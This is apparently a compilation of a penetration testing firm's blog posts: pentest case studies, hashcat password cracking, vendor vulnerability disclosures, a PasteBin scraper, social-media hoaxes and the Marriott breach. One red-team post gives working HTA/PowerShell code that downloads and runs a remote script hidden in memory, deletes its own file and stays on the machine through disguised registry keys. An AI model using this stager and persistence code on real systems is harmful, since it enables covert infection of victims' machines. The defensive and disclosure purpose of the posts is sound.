During penetration testing for two international companies, our team found numerous vulnerabilities. In both cases we had total control over all systems within the clients’ network and could easily shut them down, siphon data from critical customer-facing systems, take over PCI assets, and more. If we were the bad guys, the damage would have been catastrophic. Here’s a quick look at each case.
An international company with an orphaned system, which are systems that have fallen out of their inventory management system for one reason or another but still connect directly to their network. This company’s system was at risk for a breach due to an old Telerik vulnerability. As our team dove into the system further, we found that the vulnerability allowed us to upload a malicious ASPX file to the device and gain full SYSTEM access since the IIS server was running at the highest privileges possible for Windows. From there, we were able to gain Domain Admin (DA) credentials within a few minutes because a DA was running a service on the device and a feature known as wdigest was turned on. With that feature, we dumped the DA password in cleartext, which gave us full control over their network. The exploits we used are public knowledge with proof of concept code already released.
In the second case, we found vulnerabilities due to one of the most common issues in security: weak passwords. Our team commonly sees DA and even Enterprise Admin credentials at or shorter than 8 characters. These passwords usually get cracked within minutes. In fact, some credentials are so weak we can even guess them. For example, a recent client test had a DA that was for a fax system, whose credentials were literally along the lines of faxsystem2019.
As we uncovered vulnerabilities, we found that there are typically two problems that can arise, which lead to a total compromise of the network.
The first problem is a patching issue on orphaned systems, which we found during our pen testing for international company number one. The second is bad passwords. With bad passwords, hackers will password spray against mail servers, and all other login pages. It’s a shock there aren’t more breaches taking advantage of that weakness.
These are just two examples of vulnerabilities uncovered by our team. In looking at these specifically, there are proactive measures your organization can take including:
Dealing with orphaned systems:
Be sure to conduct ongoing scanning against your entire network range to identify any systems that don’t exist in your inventory management.
If you do not currently have an inventory of servers, workstations, and other network-connected devices, put one in place. This also helps with patch management.
Improve your password strength:
Leverage built-in features for Microsoft Active Directory to create random local passwords by leveraging tools like LAPS.
Put Doman Admin accounts in protected user groups and leverage tools that create complex passwords that rotate on checkout.
Move your employees to a password management solution to ensure passwords are complex enough to include domain accounts.
Finally, conduct health checks at least semi-quarterly on your passwords to ensure complexity.
While bad actors will continue to wreak havoc on network systems, conducting ongoing pen testing can help you minimize the damage that can result from a breach.
by Quentin Rhoads-Herrera | Offensive Security Manager, CyberOne
Why Password Managers and MFA are Important in your Security Stack
The subject of password strength and complexity requirements has been discussed and debated ad nauseam in the security industry. It is a subject as old as information security itself and will not be going away any time soon.
We, as penetration testers, absolutely love passwords because they can be abused to achieve the objectives of a client’s assessment. Malicious actors also love passwords, many of the mass phishing campaigns seen in the wild have the sole objective of harvesting credentials from gullible users.
But what happens when we don’t find passwords written down on post-it notes attached to your monitor? This is where cracking password hashes comes in to play.
There are numerous methods to obtain hashed credentials whether it is from capturing a WPA handshake on your Wi-Fi, passwords stored in a database within an application, or capturing Windows domain credentials passing over a corporation’s network. However, that is a much longer discussion outside the scope of this entry. The important thing to take away is that your super-secret password may not be as safe as you think.
CyberOne’s penetration testing team, TEAMARES, has designed and constructed a purpose-built password cracking server, affectionately named Cthulhu.
At the heart of this beast lies 8 Nvidia Titan V graphics cards. Nvidia touts these cards as the world’s most powerful GPU. The Titan V utilizes Nvidia’s Volta supercomputing architecture, which is used in machine learning, deep learning, and artificial intelligence research.
While that is all well and good, how does this translate to the password strength discussion?
An industry favorite is the password recovery tool hashcat, which is also the weapon of choice used by TEAMARES. During penetration testing engagements, this hardware and software duo enable our assessors to quickly and efficiently crack captured password hashes on the fly.
A common source of domain credentials abused by red teamers and malicious actors alike are Windows NTLMv2 hashes captured from the network. These hashes are from a challenge-response authentication protocol that Windows clients use to authenticate to other Windows servers like network shares. The screenshot below shows the hashcat benchmark output for NTLMv2 hashes.
To put it simply, this system can crack hashes at over 27.8 Billion guesses per second. These hashes are the more cryptographically “strong” method employed within a Windows environment, but what about weaker algorithms?
A common post-exploitation step for CyberOne’s penetration testing team is to obtain a copy of the Windows Active Directory database file NTDS.dit. This file stores user credentials in an older and weaker algorithm simply called NTLM. These hashes are even easier to crack.
NTLM hashes dumped from Active Directory are cracked at a rate of over 715 Billion guesses per second. For comparison’s sake, the laptop I am writing this from has a single Nvidia Quadro M1000M GPU, that cracks hashes at a rate approximately 150 times slower than Cthulhu. Below is the hashcat NTLM benchmark output of my laptop’s GPU.
In more tangible numbers, Cthulhu can brute-force all combinations of upper case, lower case, space, number, and symbols (the entire keyspace) from a single character to 8-character passwords iteratively in roughly 6 hours. It is shocking how often we see passwords of 8 or fewer characters still in use today. Cracking hashes of passwords 6 characters or less are almost instant and 7 characters take about 4 minutes. A list of benchmarks for additional common algorithms can be found at the end of this post.
The increase in difficulty and time required to crack is an exponential increase as the character length of passwords increments. For instance, a 9 character brute-force requires approximately 24 days. Increasing to a length of ten or beyond will create issues if using the full keyspace, as it is way too large for hashcat to handle and will error out before attempting to crack.
At this point, people might say “Our policy requires a minimum length of 10 with numbers and special characters so we are safe!”, and to that, we say hashcat has features beyond raw brute-forcing. These features allow a wordlist or dictionary to be used along with a “rule” file. A single rule can take a single word from a dictionary and use it as a seed to create multiple permutations. An example of this is taking the base word ‘password’ and replacing some characters with numbers like passw0rd, p4ssw0rd, pa55word, etc. While that can help with complexity, other rules will take 2 or more entries from a list and concatenate them to create longer passwords (e.g. correcthorsebatterystaple). With large wordlists and complex rules, we can create password candidate lists that contain quadrillions of unique entries. Using a wordlist that is roughly 20 GB (about 1.1 billion entries) along with a file with 310,372 individual rules will create over 335 trillion unique passwords to guess. The real kicker there is that running a cracking session with those options against a list of NTLM hashes takes roughly 45 minutes to complete.
Inevitably there will be plenty of passwords that are not cracked by our team in a given collection of hashes, but if we can crack 70-80% of passwords in an environment, it may be time to take a hard look at authentication policies with your organization.
Yes, that is a lot of doom and gloom, but what steps can be taken to defend your organization against a group of malicious actors that now have your passwords in plain text? The answer there is the same as in all of security, defense-in-depth.
One step is to limit or remove the human element from password creation using a password management solution. Humans have and will always be one of the weakest links when it comes to security. A password manager helps to eliminate password re-use across multiple accounts as well as creating longer and more complex passwords without the individual having to remember each one for each account. There are numerous password managers on the market ranging from freeware, open-source applications, all the way to enterprise-grade solutions.
Another is implementing multi-factor authentication (MFA) solutions for any and all applications or systems that support it. While not totally infallible, MFA solutions offer an added layer of complexity to a malicious actor’s attack chain that is often a decent deterrent from further action. These solutions can also serve a canary function, alerting users that their credentials are being used by someone other than them.
As with everything in security, and life in general, there is no single “silver bullet” that will protect you and your organization from everything. However, layering security and taking steps to identify and mitigate authentication policy shortcomings is one of the many ways to improve your organization’s security posture.
Background: After running into ManageEngine products on a number of penetration tests, we decided to take a closer look at their products and see if there were any vulnerabilities that we could take advantage of.
CVE Numbers: CVE-2019-12876
Versions Tested: DesktopCentral – 10.0.380
ADSelfService Plus – 5.7
ADManager Plus – 6.6.5
DLL Hijacking: Multiple ManageEngine products run as System on startup and have bad file permissions. The services keep their data in C:ManageEngine by default and any user can write to these folders. This makes the applications vulnerable to DLL hijacking allowing low-level users to escalate their privileges.
Figure 1 – Permissions
In order to take advantage of this, we just need to generate a DLL and rename it to any DLL that the binary loads when it runs. In this case, we will show how to take advantage of DesktopCentral loading Secur32.dll
To start, we needed a custom DLL that would execute what we wanted in order to prove privilege escalation. We wrote a simple DLL with the code below, which will create the user pwned and then add that user to the local administrator’s group.
We then compiled it as a 32bit DLL, renamed it to Secur32.dll and put it into the bin folder, which any user has access too as shown below.
Figure 2 – Permissions
Once the DLL is in place, you can restart the service either manually with an Admin account or by rebooting the machine. Once the service is restarted, the DLL will be loaded by the service and our code will execute giving us a new Admin user on the system.
Figure 3 – DLL Called
Figure 4 – Admin User Created
Figure 5 – New Admin User
Vendor Response: ManageEngine has patched the issue in their DesktopCentral product but states that the issue is a feature in their other offerings and will provide guidance around it for their customers.
Disclosure Timeline: 2019-03-20 – Vulnerability Disclosed to Vendor
2019-04-10 – Vulnerability acknowledged and fix in the works
2019-06-18 – Vendor responds saying they have fixed it in some products
Background: While conducting a penetration test of a client’s external network, I discovered a way to enumerate users’ in ManageEngine’s ADSelfService Plus application. This allows an attacker to determine the system Admin username.
Product: ManageEngine ADSelfService Plus
Software Version: 5.7, build 5704
Issue: The login page is vulnerable to account enumeration.
The admin login page is accessed through the web UI at the following URI:
http://<HOST>/adminLogin.cc
http://<HOST>/authorization.do
http://<HOST>/j_security_check
Figure 1 – Screenshot of adminLogin.cc
Proof of Concept: Attempt to login with an account that doesn’t exist, and you receive a unique error message.
Figure 2 – Screenshot of an attempted login with an incorrect username
If you then attempt to login to an account that does exist, then you will not receive the “No such user account configured”.
Figure 3 – Screenshot of an attempted login of an existing account
Vendor Response: After reaching out to the vendor they decided that this was not an issue and responded with the following statement:
“We’ve investigated this report. The mentioned ‘adminLogin.cc’ request is protected with the Threshold. So, user enumeration is not easy to perform. Additionally, these messages could be customized in the customer environment. Hence, closing this report as N/A.”
The ”Threshold” that they are alluding to is that by default, the application will show a CAPTCHA after 3 invalid login attempts in order to slow brute forcing down, but this does not remedy the concern with disclosing which accounts exist.
Figure 4 – CAPTCHA settings
Disclosure Timeline: 2019-02-18 – Vulnerability Disclosed to Vendor
2019-02-18 – Vendor Replied and Started Investigating
2019-03-20 – Vendor Closed as Non-Issue
by Chase Dardaman | TEAMARES, CyberOne
March 26, 2019
Background:
While conducting a penetration test of a client’s external network, I discovered three separate instances of information disclosure in VMware’s Horizon Access Web Portal. An unauthenticated user could access information such as internal domain names, the Connection Server’s internal hostname, or the gateway’s internal IP address.
Issue 1:
The application generates an XML file that discloses the internal hostname, authentication type, and internal domain names.
The XML file was observed in the response to a POST request at the following URI: https://$HOST/broker/xml
HTTP POST Request:
POST /broker/xml HTTP/1.1
HOST: [REDACTED]
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Connection: close
[SNIPPED]
Below is a screenshot of the XML document that is returned in the HTTP Response showing in plaintext the internal hostname (highlighted in red), authentication type (highlighted in green), and internal domain names (highlighted in purple).
Figure 1 – Response disclosing internal hostname, authentication type, and internal domain name in plaintext
Issue 2:
Upon interacting with the web portal, the application sets a cookie called “clientinfo” that has Base64 encoded data which includes the internal IP address of the server running the VMware application as well as the user’s external IP address.
The “clientinfo” cookie was observed in requests at the following URIs:
The actual values have been censored for confidentiality, but to explain further the user’s (in this case me) external IP address is represented by the value 0.0.0.0 and the host’s internal IP address within the client’s network is represented by the value 127.0.0.1.
Issue 3:
The application generates a JSP file that discloses the same internal IP address as the “clientinfo” cookie; however, the HTTP response shows the information in plaintext.
The JSP file was observed in the Response to a GET Request at the following URI:
• https://$HOST/portal/info.jsp
HTTP GET Request:
GET /portal/info.jsp HTTP/1.1
Host: [REDACTED]
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0
[SNIPPED]
Connection: close
HTTP Response:
HTTP/1.1 200 OK
view sourceprint?
Content-Type: application/json;charset=ISO-8859-1
[SNIPPED]
{“acceptLanguage”:”en-US,en;q=0.5″,”clientVersion”:”4.7.0″,”logLevel”:”2″,”clientIPAddress”:”0.0.0.0,127.0.0.1″,”contextPath”:”/portal”,”os”:”linux32″,”installerLink”:”https://www.vmware.com/go/viewclients#linux32″}
While this information disclosure may not seem to be a critical finding on its own to some, the information gathered from this can assist in planning further attacks.
I have edited the data in this article for confidentiality but kept the same overall idea. As a pentester, there are times that you have to make educated guesses, one of those being the internal domain naming schema, and sometimes you get lucky. But in this case, I did not have to guess (really lucky!).
Armed with the data from this vulnerability a malicious actor can performing an automated password spraying/brute force attack against external applications that connect to an organization’s Active Directory for authentication, all while knowing that the domain information is correct.
Less guesswork on an attacker’s part means less traffic has to go from their machine to the target. Lower traffic rates help attackers fly under the radar so as to not set off any alarms or lockout accounts, which ultimately can increase an attacker’s chances to successfully compromise accounts with no one being the wiser.
CyberOne’s TEAMARES penetration testing team followed responsible disclosure procedure by submitting the vulnerability to VMware’s Security Response Center and waiting for a patch to be released for the affected devices before publishing any information.
The vulnerability was also disclosed independently to VMware by security researcher HD Moore of Atredis Partners at a later date.
Timeline
2018-09-25 – Vulnerability Discovered
2018-09-26 – Vendor Disclosure and Reply
2019-03-14 – Vendor Patch Released
2019-03-15 – Vendor Security Advisory Published
by Cory Mathews | TEAMARES, CyberOne
March 20, 2019
Introduction Malicious actors have multiple ways to share data they have stolen from websites or services. Some might post to popular forums to gain notoriety while others might post anonymously to paste sites like PasteBin. Combing through all the pastes being posted is beyond the ability of humans, so I’ve created a tool that helps users to find interesting data on PasteBin in real-time.
How Much Data is There, and Why is it Hard to Search? On average, there are 100 files uploaded to PasteBin every minute which makes combing through all that data very difficult. It gets even worse when a user is trying to find specific information. PasteBin doesn’t organize or index data by content, just by titles. Most users on the site post anonymously and without a title, so many of the pastes available are just called “Untitled”.
A tool searching specifically for usernames and passwords would have to scrape every paste, apply some form of matching, and then output the paste ID for manual human review later. This creates a whole host of other issues. PasteBin periodically removes pastes that could potentially contain sensitive information or have been reported by the community. By the time a user gets around to manually reviewing the content of the paste, it may have been removed. In an ideal world, the content of the paste is saved and indexed for retrieval later.
Tools to search paste content and save pastes already exist, but many of them are projects that have been abandoned, are closed source, or just don’t work very well. The most popular one was Dumpmon, which went inactive in October of 2018. Dumpmon was a Twitter bot built by Jordan Wright, which monitored 3 common paste sites (PasteBin, Pastie, and Slexy) for potential data leaks. Other tools include PasteBinLeaks, open-source and deactivated in 2011, and PasteBinDorks, which is closed source and inactive as of 2014.
What is PasteBin_Scraper? After Dumpmon ceased operation, there didn’t appear to be any other public tools that monitored PasteBin in real-time for data leakage. It was created as an open-source project, so I downloaded the source code from GitHub and tried to get it working again. It took a few weeks, but I was able to get my own version of the tool working with some significant changes made, outlined here:
Updated to use Python3
Removed Slexy/Pastie compatibility since those sites no longer exist.
Removed all Twitter components
Made logging more verbose for debugging
Now uses PasteBin API so your IP won’t be blacklisted
Removed redundant code blocks
Changed DB from mongodb to MySQL.
How Does PasteBin_Scraper Work? Every 60 seconds, the tool queries the PasteBin API for the latest 100 pastes. It contains a reference paste ID so it isn’t scanning pastes multiple times and wasting processor cycles. The paste ID is then used to download the full paste text and searched using a list of regular expressions. These attempts to identify email addresses, hashed passwords, Cisco device configuration files, and other such data. If the paste has information that is considered interesting, the paste information (author, paste ID, interesting content type) is saved into the database and a line is written to the log file that identifies the paste ID and what kind of data it contains.
Features to be Added As with any project, there is always more that can be done. We have compiled a list of features that I will work on adding in my free time. These features include:
Splitting found emails and password combinations and saving them separately
Creating a script to automate database and table creation
Add support for multiple hash types
Some form of statistics tracking or a daily email?
Contributions I have some experience in Python but I don’t consider myself a developer. I may not have used the best practices or efficient code, but it works! I welcome any contribution to help me create new features or make the tool work more efficiently.
by Moe Janmohammad | TEAMARES, CyberOne
March 15, 2019
Background While conducting a penetration test for a customer, I encountered an unused developer forum using JForum version 2.1.8 and started looking for vulnerabilities within the application.
Version Tested: 2.1.8
CVE Number: CVE-2019-7550
Security Advisories: None
Issue When creating a new user within the application, the browser sends a GET request to the server to check if a username is taken. This process is done as soon as the user exits the username field, not when the form is submitted.
For example, to see if a user with the name “admin” exists, the browser will send a GET request that looks like this:
The requests also contain a session ID and a string of numbers that appears to be a timestamp. I removed both of those and didn’t receive any errors, so I proceeded to the next step of an attack.
A remote, unauthenticated attacker can automate sending many requests to find usernames that already exist. I used Burp Suite Pro Intruder to launch a similar attack to enumerate usernames on the forum within the customer environment.
If we sort the responses by length, we can find usernames that already exist in the forum. We sort by length because the responses saying a username is already taken is noticeably longer than the response for a unique username.
Figure 1 – Burp Suite Pro Intruder Username Enumeration
The next step of an attack would be to see if the existing usernames have been reused from other sites that have password lists available. Since this developer forum wasn’t in use, the only accounts that existed were the admin accounts and a test account I had created.
Other Information
JForum is a forum application that is no longer being maintained by the developer. The source code was uploaded to GitHub and the developer stated that he will not apply fixes or develop new features. Since the repository was no longer being updated and the application is over 10 years old, I decided to forego the standard 90-day release embargo for this CVE.
In my previous life, I spent a lot of time analyzing malware and figuring out how it worked in order to defend against it. One trend that has increased across the industry is the use of fileless malware and specifically mshta.exe as a method of infection. Now that I’m on offense, I wanted to take some time to flesh out how it could be used in red teaming and adversarial simulation.
Mshta.exe is a signed Microsoft application that runs Microsoft HTML Applications (HTA) files. These are HTML files that execute JavaScript or VBScript outside of the browser, with the full permission of the executing user. Because it is from Microsoft mshta is normally whitelisted and will allow us to execute code under the mshta process.
Infection
HTA files will run automatically if a user double clicks on them, because of this HTA files are excellent for Phishing, Malvertising, or Waterhole attacks where the user will click on the file and infect themselves. Writing our own malicious HTA file is super simple and with just a few lines of code, we can use mshta.exe as a downloader or stager for any malicious code that we could want.
To start with we want our basic HTML tags and then we add the HTA tag. This tag allows us to specify our app name as well as set all the visibility settings to no so that the victim won’t notice that the HTA file is running.
Once we have the HTA tag set we will write our script to download and execute some malicious PowerShell. In order to do this, we will take advantage of ActiveX and Wscript and pass the command that we want to run in memory along with the 0 flag which will keep anything from popping up on the victim’s machine.
<script>
//We will use Wscript.shell in order to launch PowerShell
a = new ActiveXObject(‘Wscript.Shell’);
//Our command to execute
cmd = “powershell -windowstyle hidden -ep Bypass -nop -noexit -c ((New-Object
Net.WebClient).DownloadString(‘http://IP/script.ps1’))”;
//Run the command, 0 is needed so that no PowerShell window will appear
a.Run(cmd,0);
Now that we have our script executing in memory, we need to clean up the HTA file. We can do this with ActiveX again by getting the file location, changing it away from an encoded uri and then removing file:/// from the front of it. We then close the window which closes mshta.exe leaving PowerShell running in the background with our downloaded code executing in memory.
<!– wp:paragraph –>
<p><code>//We use this in order to get erase the HTA file after it has executed<br>b = new ActiveXObject(“Scripting.FileSystemObject”);<br>//Get filename and edit it so that windows can read it properly<br>filename = window.location.href;<br>filename = decodeURI(filename);<br>filename = filename.slice(8);<br>//Get a handle on the file<br>c = b.GetFile(filename);<br>//Delete it<br>c.Delete();<br>//Close the MSHTA window<br>window.close();<br></script><br></head><br><body><br></body><br></html></code></p>
<!– /wp:paragraph –>
Persistence
Once we get on a victim’s machine, we want to make sure that we do not lose that hard-earned access, but we also want to make sure that we leave as little trace as possible for their blue team to pick up on. In order to do this, we don’t want to put anything directly onto the disk and want to keep everything running in memory.
One way this can be completed is with registry keys. Using PowerShell’s Set-ItemProperty we can put more PowerShell script or even EXEs into any registry key that we want, in this case, I download another PowerShell script and then create a Reg Key and put it in the (Default) value.
#Download script to be kept in the reg key
$dl = (New-Object Net.WebClient).DownloadString(‘http://IP/script.ps1’)
#Creates and sets the default value to our downloaded script
New-Item -Path HKCU:softwarewow6432nodeMicrosoftWindowsUpdate -Value $dl
Once it’s in the registry we can easily pull the data back out of it to execute in memory with Get-ItemProperty and IEX.
<!– wp:paragraph –>
<p><code># Get the stored payload<br>$value = Get-ItemProperty -Path HKCU:softwarewow6432nodeMicrosoftWindowsUpdate -Name<br>”(Default)”<br>#Execute it<br>IEX ($value.”(Default)”)</code></p>
<!– /wp:paragraph –>
We then can put this script right into the
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun reg key and it will execute
when the user logs in, pulling our other malicious files, in the registry, and executing them in memory.
Detection
Currently detecting this can be difficult for traditional solutions as no malware touches the disk to be scanned by AV. In order to combat this and other scripting attacks, Microsoft released Anti-Malware Scan Interface or AMSI on Windows. AMSI’s goal is to catch bad scripts running in memory and works with Windows Defender and a few other AVs. Although AMSI is pretty good at detecting malicious scripts it can still be bypassed so you should monitor mshta use, especially when it executes any other applications such as PowerShell. Alerting on these kinds of actions can help you spot an infection as soon as it happens and start to remediate the infected machines.
Summary
PowerShell is an amazing tool that allows attackers to do anything they could want on a Windows system and leave little to no trace while they do it. Because of this any signed processes that can be used to run PowerShell should be watched closely because they can and will be used to compromise users’ machines.
From Jonathan Swift’s fake almanac in 1708 to the modern Dihydrogen monoxide joke, hoaxes have been around for as long as humans have enjoyed deceiving each other for fun. The ease of communication via technology has made hoaxes and scams even more prevalent, evolving from word-of-mouth and chain email to Instagram, WhatsApp, and Facebook. Users are constantly falling for these forwarded posts and they’ve taken a turn for the malicious.
Facebook was one of the first social media platforms to have hoaxes and misinformation spread, with the most popular one stating that Facebook’s new algorithm would only allow you to see 25 of your friends’ posts in your news feed. The text reads:
“How to avoid hearing from the same 25 FB friends and nobody else: Here is a post explaining why we don’t see all the posts from our friends….
Newsfeed recently shows only posts from the same few people, about 25, repeatedly the same, because Facebook has a new algorithm.
Their system chooses the people to read Your post. However, I would like to choose for myself, Therefore, I ask you a favor: if you read this message leave me a quick comment, a “hello”, a sticker, whatever you want, so you will appear in my news feed.
Don’t just “Like”, Facebook requires a “Comment”. Even one word! Thanks!!!
Otherwise, Facebook chooses who to show me and instead I don’t need Facebook to choose my friends!
Do not hesitate to copy and paste on your wall so you can have more interaction with all your contacts and bypass the system. That’s why we don’t see all the posts from our friends!”
Facebook has repeatedly stated that these kinds of copy/paste posts are fake and even asserted that their constantly updated algorithms will increase interactions with friends, but users will keep falling for these kinds of posts. A malicious actor could potentially modify this kind of post with a link leading to a site that gathers usernames/passwords or installs malicious software and claims it will help to see all of their friends posts.
WhatsApp is the most used messaging application, even ahead of text messaging, in the world. Hoaxes, scams, and fake information spread like wildfire through the WhatsApp service. In India, mobs of angry people killed over 20 people in connection to messages being forwarded on WhatsApp falsely linking the victims to child abductions. There have also been malicious links being spread for a fake premium WhatsApp service called “WhatsApp Gold” that tricked users into downloading a modified version of the Android application which stole user information and installed additional malware.
Instagram has had quite a few hoaxes that large numbers of their users have fallen for. In 2017, an account claiming to be selling deeply discounted Ray Bans sunglasses said users could only get the promotion after clicking a link to connect their Instagram account to their storefront. The link was actually a phishing page designed to steal the user’s Instagram credentials and continue spreading itself via direct messages and public posts.
In December of 2018, users were tricked into sharing a post from an account claiming to recruit Lululemon ambassadors and tagging the profile. Lululemon has tweeted that the account was not related to their official page. The page, @lulurecruitment, has since been removed from Instagram, but not before hundreds of thousands of hopeful users had posted and tagged the account. At the time of its removal, the account had over 500,000 followers and only one post.
It is unclear what the goal behind the campaign was. There were no links being spread, no request for additional information, and no contact information besides a Gmail address. I think this was to start gathering information of “known-gullible” users to target in upcoming ad campaigns for a storefront with free or discounted Lululemon gear designed to steal payment information or gather usernames/passwords to spray against other services.
How do you protect yourself from these kinds of campaigns? Hoaxes and scams rely heavily on users sharing the information to increase the attack surface. The best way to protect yourself and others is to not participate in their spread. It starts by using common sense and asking yourself if the offer sounds too good to be true. I’ve had success with uncovering scams just by googling the account name or offer and the word “scam”. If you have friends that are sharing these, intentionally or if they’ve been breached, let them know immediately!
In an era of fake news and constant misinformation, Facebook/Instagram/WhatsApp hoaxes have become a prime vector for malicious actors to take information from users who are willingly handing it over in the hopes of gaining goods or services in return. Gone are the days of the Nigerian Prince emails, welcome to the new age of social engineering.
by Moez Janmohammad | Junior Adversarial Engineer, CyberOne
January 29, 2019
Just over a month ago, Marriott International, one of the world’s largest hotel chains, announced that there was unauthorized access to the database, which contained guest information relating to reservations at Starwood properties on or before September 10, 2018. Among the hotels under the Starwood brand are the W Hotels, St. Regis, Sheraton, Westin, and Design Hotels and Resorts, as well as all Starwood-branded timeshare properties. Even with the reduction in the number of affected guests, the Marriott breach remains one of the largest data breaches to date – more than double that of Equifax, which exposed the personal data of 147.7 million Americans.
What exactly was stolen?
The database gave hackers access to the names, mailing addresses, phone numbers, email addresses, passport numbers, dates of birth, gender, arrival and departure information, loyalty account information, reservation dates, and communication preferences of nearly 330 million guests.
Marriott says the number of consumers swept up in a breach of its data is fewer than the 500 million initially estimated, and in recent reports, admitted its Starwood hotel unit had failed to encrypt the passport numbers.
The company announced that approximately 5.25 million unencrypted passport numbers were stolen in the breach, while another 20 million encrypted passport numbers were acquired. They released a statement saying: “There is no evidence that the unauthorized third party accessed the master encryption key needed to decrypt the encrypted passport numbers”
For many of these guests, the stolen information also included payment card numbers and expiry dates. Although the hotel chain attempted to safeguard this information using the Advanced Encryption Standard (AES-18) method, Marriott has not yet been able to rule out the possibility that both components needed for decryption were not also stolen.
With the investigative reports released Friday afternoon, we now know that there were about 8.6 million encrypted credit card numbers stolen in the breach. Marriott said it’s still investigating how many stolen payment card numbers were not encrypted.
What should I do?
Monitoring your transaction history is important, but especially so if you made a reservation with a Starwood hotel on or before September 10th, 2018.
Marriott began sending emails on a rolling basis Wednesday, November 30th to affected guests with email addresses on file; however, they cautioned customers to stay vigilant as malicious actors may try to pose as Marriott. The hotel cautioned affected customers to only accept emails from the official email address listed on their website.
The hotel chain also established a dedicated website with an FAQ section and a call center to answer any questions. The company has also offered to pay for new passports if affected guests can prove they were victims of fraud.
A fraud monitoring service is being provided by Marriott via WebWatchers free of cost to all affected guests for one year. The service monitors all sites where personal information is shared and guests are alerted if their data is found. Individuals can enroll via Marriott’s website.
Who’s behind the Marriott breach?
That remains unclear, though Reuters, The Washington Post and The New York Times reported that investigators believe China is responsible.
Lawmakers have called for companies to improve their cybersecurity, and Sen. Ron Wyden (D-OR) released a draft of the Consumer Data Protection Act, which would create new protections for consumer information and strict punishments for those found to be abusing user data. The proposed bill would send senior executives to jail for 10 to 20 years if they fail to follow the guidelines for data use.
What’s next?
Monitoring banking statements for unauthorized purchases and reviewing all loyalty program activity for suspicious behavior is a good first step. Also, knowing exactly what kind of information was lost in the data breach can help alert you to any activity out of the norm.
Never give out credentials or passwords via phone or email and stay vigilant against phishing attempts, especially in the wake of another data breach. Be sure to change the password on any account that may have been associated with the breach.
If you were one of the Marriott guests whose payment-card number was stolen, contact the bank or organization that issued the card. Explain that your account is at risk of fraud and ask the card issuer to alert you if it detects suspicious activity on your account. The bank will almost certainly cancel the card and issue you a new one.
And finally, contact the major consumer credit-reporting bureaus and ask each to place a fraud alert on your name. This way, if your financial identity has been compromised — for example, by trying to open a credit card account in your name — you’ll know.
Arne Sorenson, Marriott’s President and Chief Executive Officer, said “We deeply regret this incident happened, we fell short of what our guests deserve and what we expect of ourselves. We are doing everything we can to support our guests, and using lessons learned to be better moving forward.”
by Callie Guenther | CyberSOC Data Scientist
January 9, 2019
